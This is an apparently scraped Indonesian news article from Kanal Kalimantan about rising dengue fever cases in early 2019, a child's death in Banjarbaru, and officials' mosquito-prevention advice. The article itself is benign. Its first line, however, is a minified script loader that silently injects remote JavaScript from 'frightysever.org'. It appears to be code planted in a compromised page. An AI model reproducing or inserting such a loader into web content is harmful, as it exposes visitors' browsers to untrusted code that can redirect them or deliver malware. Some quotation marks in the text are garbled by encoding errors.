(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Kementerian Kesehatan mencatat bahwa temuan kasus demam berdarah dengue ( DBD) di Indonesia terus meningkat sejak awal Januari 2019. Hingga 29 Januari 2019, tercatat bahwa jumlah penderita DBD ditemukan sebanyak 13.683 orang di seluruh Indonesia. Dari jumlah tersebut, angka kematian akibat DBD mencapai 133 orang.
Di Kalsel sendiri, sejumlah kabupaten kota melaporkan adanya peningkatan kasus DBD. Di Banjarbaru misalnya, satu anak dilaporkan meninggal beberapa waktu lalu. Pengelola Program DBD pada Puskesmas Landasan Ulin Fitria mengatakan, pasien tersebut anak-anak berusia sembilan tahun.
Terkait hal ini, pihaknya terus melakukan penyuluhan kepada masyarakat. “Kami sudah sering melakukan penyuluhan mengenai pemberantasan sarang nyamuk maupun cara terakhir berupa fogging. Tapi, kasusnya masih ada,†ungkapnya.
Sementara Kepala Dinas Kesehatan Banjarbaru drg Agus Widjaja mengatakan, tingginya kasus DBD dikarenakan belum maksimalnya perilaku hidup bersih yang dilakukan masyarakat. “Masih banyak yang menyepelekan tiga M. Yaitu mengubur barang bekas, menguras bak mandi dan menutup tempat air yang dapat menjadi sarang nyamuk,†bebernya.
DBD sendiri merupakan penyakit yang diakibatkan oleh gigitan nyamuk Aedes Aegypti. Jika lokasi berkembangnya jentik-jentik dibiarkan. Maka, nyamuk dewasa pembawa penyakit tersebut bakal terus berkembang.
Untuk itu, Agus meminta agar warga membiasakan diri hidup bersih. Agar nyamuk tidak dapat berkembang biak. “Pastikan lingkungan tetap bersih dan jangan membuang sampah sembarangan,†pungkasnya.
Untuk itu, ada baiknya untuk mengenal sejumlah fase dalam DBD untuk dapat mengantisipasi penyakit yang disebabkan gigitan nyamuk Aedes aegypti. Fase awal adalah saat pasien mengidap demam tinggi, bahkan hingga mencapai 40 derajat Celcius. Fase ini disertai sakit kepala, serta mual dan muntah.
Berikutnya adalah fase ketika pasien merasa sembuh, tetapi sebenarnya masuk masa kritis. Masa inilah yang perlu diwaspadai. Lalu bagaimana gejala dalam tiap fase itu? Berikut infografiknya: (rico/kom)
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More
This website uses cookies.